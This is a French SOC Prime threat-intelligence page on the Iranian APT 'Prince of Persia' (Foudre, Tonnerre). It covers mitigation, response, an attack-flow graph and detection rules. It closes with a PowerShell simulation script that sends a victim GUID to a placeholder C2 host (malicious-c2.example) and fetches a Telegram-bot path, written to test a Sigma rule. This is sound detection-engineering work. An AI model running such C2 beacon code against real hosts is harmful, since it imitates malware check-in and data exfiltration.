SOC Prime Bias: Critique

23 Déc 2025 13:56

Prince of Persia : Un rétrospective de 10 ans sur l’activité APT iranienne

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
Prince of Persia : Un rétrospective de 10 ans sur l’activité APT iranienne
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

Le rapport dresse le profil du groupe APT lié à l’État iranien surnommé Prince of Persia et retrace son évolution au cours de la dernière décennie, en mettant l’accent sur les activités observées de 2023 à 2025. Les opérateurs comptent sur des familles de logiciels malveillants sur mesure, y compris Foudre, Tonnerre, MaxPinner, Rugissement et Deep Freeze, pour soutenir l’espionnage et le vol systématique de données. Les dernières itérations introduisent des algorithmes de génération de domaines, un commandement et un contrôle basés sur Telegram, et des charges utiles SFX cryptées pour améliorer la résilience et le camouflage. Les cibles s’étendent aux infrastructures critiques et aux réseaux liés aux dissidents dans plusieurs régions.

Enquête

Les chercheurs de SafeBreach ont suivi les opérations du groupe depuis 2019, collectant de nouveaux échantillons, documentant l’architecture C2 et analysant la logique DGA. Ils ont déchiffré les charges utiles protégées, extrait les identifiants de bot Telegram et construit une chronologie des déploiements de variantes. La recherche met en évidence des infrastructures de production et de test séparées et détaille les comportements de dépôt de fichiers liés aux chaînes d’infection pilotées par Excel. Les indicateurs de compromission ont été assemblés à partir de hachages de logiciels malveillants, de domaines et d’URL.

Atténuation

Surveillez l’activité DNS pour les modèles DGA identifiés, bloquez les domaines malveillants connus et restreignez ou inspectez le trafic lié aux bots Telegram. Ajoutez des détections pour les noms de fichiers malveillants référencés et les artefacts de DLL de chargement, et utilisez la surveillance/le sinkholing DNS pour révéler l’infrastructure tournante. Appliquez une liste de contrôle d’applications et renforcez la sécurité d’Office en limitant les macros pour réduire la probabilité d’un accès initial.

Réponse

Si un indicateur est trouvé, mettez en quarantaine le système affecté, capturez les preuves volatiles et effectuez une analyse médico-légale ciblée sur les fichiers déposés et les chemins de registre pertinents. Bloquez tous les domaines et adresses IP liés, remplacez les jetons de bot Telegram exposés et réinitialisez les identifiants pour les comptes impactés. Recherchez dans tout l’environnement les restes de DLL de chargement personnalisés et les charges utiles SFX cryptées pour assurer une éradication complète.

« graph TB %% Section des définitions de classes classDef action fill:#99ccff classDef malware fill:#ffcc99 classDef tool fill:#ffe699 classDef file fill:#ccffcc classDef process fill:#ffdddd classDef operator fill:#ff9900 %% Définitions des nœuds action_initial[« <b>Action</b> – <b>T1566.001 Piège par pièce jointe</b><br/>La victime reçoit une pièce jointe Excel malveillante »] class action_initial action file_excel[« <b>Fichier</b> – Excel malveillant avec macro<br/>Dépose ccupdate.tmp »] class file_excel file malware_foudre[« <b>Malware</b> – Foudre (ccupdate.tmp)<br/>Chargement SFX chiffré »] class malware_foudre malware process_macro[« <b>Processus</b> – Exécution Macro »] class process_macro process action_execution[« <b>Action</b> – <b>T1204.002 Exécution de l’utilisateur : Fichier malveillant</b><br/>La victime ouvre Excel »] class action_execution action action_obfuscation[« <b>Action</b> – <b>T1027.009 Charges utiles intégrées</b><br/>Charge utile chiffrée et camouflée »] class action_obfuscation action file_camDLL[« <b>Fichier</b> – DLL déguisée en vidéo MP4 »] class file_camDLL file action_deobfuscate[« <b>Action</b> – <b>T1140 Déchiffrer/Décoder des Fichiers</b><br/>Déchiffre la charge utile avec un mot de passe intégré »] class action_deobfuscate action process_decrypt[« <b>Processus</b> – Routine de déchiffrement »] class process_decrypt process action_dga[« <b>Action</b> – <b>T1568.002 Résolution Dynamique (DGA)</b><br/>Génère des domaines LOS1, FTS1, u2026 »] class action_dga action process_dga[« <b>Processus</b> – Algorithme de génération de domaine »] class process_dga process action_webc2[« <b>Action</b> – <b>T1102.002 Communication Bidirectionnelle de Service Web</b><br/>HTTP GET avec GUID, version, infos utilisateur »] class action_webc2 action process_http[« <b>Processus</b> – Requête/réponse HTTP »] class process_http process action_telegram[« <b>Action</b> – Utilisation de Bot Telegram pour C2 »] class action_telegram action file_tga[« <b>Fichier</b> – tga.adr (client bot Telegram) »] class file_tga file process_telegram[« <b>Processus</b> – Communique via l’API Telegram en utilisant le jeton du bot »] class process_telegram process action_exfil[« <b>Action</b> – <b>T1041 Exfiltration par Canal C2</b><br/>Télécharge les fichiers volés vers les répertoires C2 »] class action_exfil action file_exfil[« <b>Fichier</b> – Noms de fichiers encodés, contenu chiffré »] class file_exfil file action_data_obfusc[« <b>Action</b> – <b>T1001 Obfuscation des Données</b><br/>Stocke les données exfiltrées avec des noms encodés et un chiffrement »] class action_data_obfusc action %% Connexions montrant le flux action_initial u002du002d>|remet| file_excel file_excel u002du002d>|dépose| malware_foudre malware_foudre u002du002d>|s’exécute via| process_macro process_macro u002du002d>|conduit à| action_execution action_execution u002du002d>|déclenche| action_obfuscation action_obfuscation u002du002d>|utilise| file_camDLL action_obfuscation u002du002d>|conduit à| action_deobfuscate action_deobfuscate u002du002d>|s’exécute| process_decrypt process_decrypt u002du002d>|produit| malware_foudre malware_foudre u002du002d>|initie| action_dga action_dga u002du002d>|s’exécute| process_dga process_dga u002du002d>|résout en| action_webc2 action_webc2 u002du002d>|utilise| process_http process_http u002du002d>|télécharge| file_tga file_tga u002du002d>|active| action_telegram action_telegram u002du002d>|utilise| process_telegram process_telegram u002du002d>|exfiltre via| action_exfil action_exfil u002du002d>|stocke comme| file_exfil file_exfil u002du002d>|applique| action_data_obfusc « 

Flux d’attaque

Détections

Possible abus de Telegram comme canal de commande et contrôle (via dns_query)

Équipe SOC Prime
22 déc. 2025

Possible infiltration/exfiltration de données / C2 via services ou outils tiers (via proxy)

Équipe SOC Prime
22 déc. 2025

Commande et contrôle suspect par requête DNS de domaine de premier niveau inhabituel (TLD) (via dns)

Équipe SOC Prime
22 déc. 2025

Exécution suspecte de Taskkill (via cmdline)

Équipe SOC Prime
22 déc. 2025

IOC (HashSha256) à détecter : 18 DÉC. 2025 Prince of Persia : Une décennie d’activité de campagne APT de l’État-nation iranien sous le microscope Partie 2

Règles IA SOC Prime
22 déc. 2025

IOC (SourceIP) à détecter : 18 DÉC. 2025 Prince of Persia : Une décennie d’activité de campagne APT de l’État-nation iranien sous le microscope

Règles IA SOC Prime
22 déc. 2025

IOC (HashSha256) à détecter : 18 DÉC. 2025 Prince of Persia : Une décennie d’activité de campagne APT de l’État-nation iranien sous le microscope Partie 1

Règles IA SOC Prime
22 déc. 2025

IOC (HashMd5) à détecter : 18 DÉC. 2025 Prince of Persia : Une décennie d’activité de campagne APT de l’État-nation iranien sous le microscope

Règles IA SOC Prime
22 déc. 2025

IOC (DestinationIP) à détecter : 18 DÉC. 2025 Prince of Persia : Une décennie d’activité de campagne APT de l’État-nation iranien sous le microscope

Règles IA SOC Prime
22 déc. 2025

Détection de l’infection Foudre v34 via fichier Excel avec exécutable intégré [Création de processus Windows]

Règles IA SOC Prime
22 déc. 2025

Détection de la communication C2 de Foudre et Tonnerre [Connexion réseau Windows]

Règles IA SOC Prime
22 déc. 2025

Exécution de simulation

Prérequis : Le contrôle préalable de la télémétrie et de la ligne de base doit avoir été réussi.

Raisonnement : Cette section détaille l’exécution précise de la technique de l’adversaire (T1584.005) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection.

  • Narration et Commandes d’Attaque :
    L’acteur menaçant a provisionné un domaine malveillant malicious-c2.example qui héberge le serveur Foudre/Tonnerre C2. La charge utile de l’attaquant sur la machine de la victime effectue deux requêtes HTTP GET :

    1. Envoie le GUID de la victime au point final Foudre C2 en utilisant le chemin /1/?c=<GUID>.
    2. Contacte l’API de Telegram via la porte dérobée Tonnerre en utilisant le chemin /t/tga.adr.

    Les deux requêtes sont effectuées via HTTP (pour simplifier la journalisation du proxy) et incluent un User-Agent générique pour se fondre dans le trafic normal. Les actions génèrent les champs exacts (request_method=GET, url contenant les sous-chaînes ciblées) que la règle Sigma surveille.

  • Script de Test de Régression :

    # ------------------------------------------------------------
    # Simulation de Communication C2 Foudre & Tonnerre (Windows)
    # ------------------------------------------------------------
    
    # 1. Définir le GUID de la victime (dans une véritable infection, cela serait lu à partir du registre)
    $guid = (New-Guid).Guid
    
    # 2. Définir l'hôte C2 malveillant (remplacer par une adresse que vous contrôlez pour les tests)
    $c2Host = "http://malicious-c2.example"
    
    # 3. Envoyer le GUID au point final Foudre C2
    $foudreUrl = "$c2Host/1/?c=$guid"
    Write-Host "[*] Envoi du GUID au Foudre C2: $foudreUrl"
    Invoke-WebRequest -Uri $foudreUrl -Method GET -UseBasicParsing
    
    # 4. Contacter l'API de Telegram via la porte dérobée Tonnerre
    $telegramUrl = "$c2Host/t/tga.adr"
    Write-Host "[*] Contacter le point de terminaison de l'API de Telegram: $telegramUrl"
    Invoke-WebRequest -Uri $telegramUrl -Method GET -UseBasicParsing
    
    Write-Host "[+] Simulation terminée. Vérifiez les alertes dans le SIEM."

    Le script est autonome ; son exécution sur un hôte Windows qui route le trafic via le proxy configuré produira deux entrées de journal qui correspondent à la règle Sigma url|contains conditions.

  • Commandes de Nettoyage :

    # Supprimer toutes connexions réseau temporaires (uniquement pertinent si le proxy crée des sessions persistantes)
    # Ici, nous effaçons simplement le cache DNS pour éviter la résolution persistante de l'hôte malveillant.
    ipconfig /flushdns
    Write-Host "[*] Nettoyage terminé."